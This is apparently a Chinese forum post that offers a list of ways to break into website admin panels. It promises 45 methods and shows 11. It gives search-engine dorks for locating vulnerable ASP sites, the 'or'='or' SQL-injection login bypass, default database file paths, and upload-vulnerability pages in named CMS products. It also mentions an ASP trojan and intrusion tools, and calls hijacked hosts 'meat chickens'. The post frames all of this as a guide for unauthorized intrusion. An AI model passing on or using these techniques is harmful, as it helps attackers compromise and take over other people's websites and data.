打进后台(很全)
2022-10-28 15:19:56
224
{{single.collect_count}}

45种攻入后台的方法
1、到Google搜索,site:cq.cn inurl:asp
2、到Google,搜索一些关键字,edit.asp? 韩国肉鸡为多,多数为MSSQL数据库!
3、利用挖掘鸡和一个ASP木马:
文件名是login.asp
⋯⋯
路径组是/manage/
关键词是went.asp
用’or’='or’来登陆
4、以下这个方法因为太多人做过,所以一些网站管理员对此都有防范之心了,成功率不高:
关键字:“Co Net MIB Ver 1.0网站后台管理系统”
帐号密码为 ‘or’='or’
5、动感购物系统,呵呵。想到了明小子:
inurl:help.asp登陆,如未注册成为会员!
upLoad_bm1.asp和upLoad_c1.asp这两个随便选个,一般管理员都忽视了这2漏洞。
6、默认数据库地址blogdata/acblog.asa
关键字:acblog
7、百度 /htdocs
注册里可以直接上传asa文件!
8、/Database/#newasp.mdb
关键词:NewAsp SiteManageSystem Version
9、用挖掘机
关键字:Powered by WEBBOY
页面:/upfile.asp
10、baidu中搜索关键字Ver5.0 Build 0519
(存在上传漏洞)
11、Upfile_Article.asp bbs/upfile.asp
输入关键字:powered by mypower ,
应该是动什么上传漏洞来着?用的人也比较多
估计明小子,

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}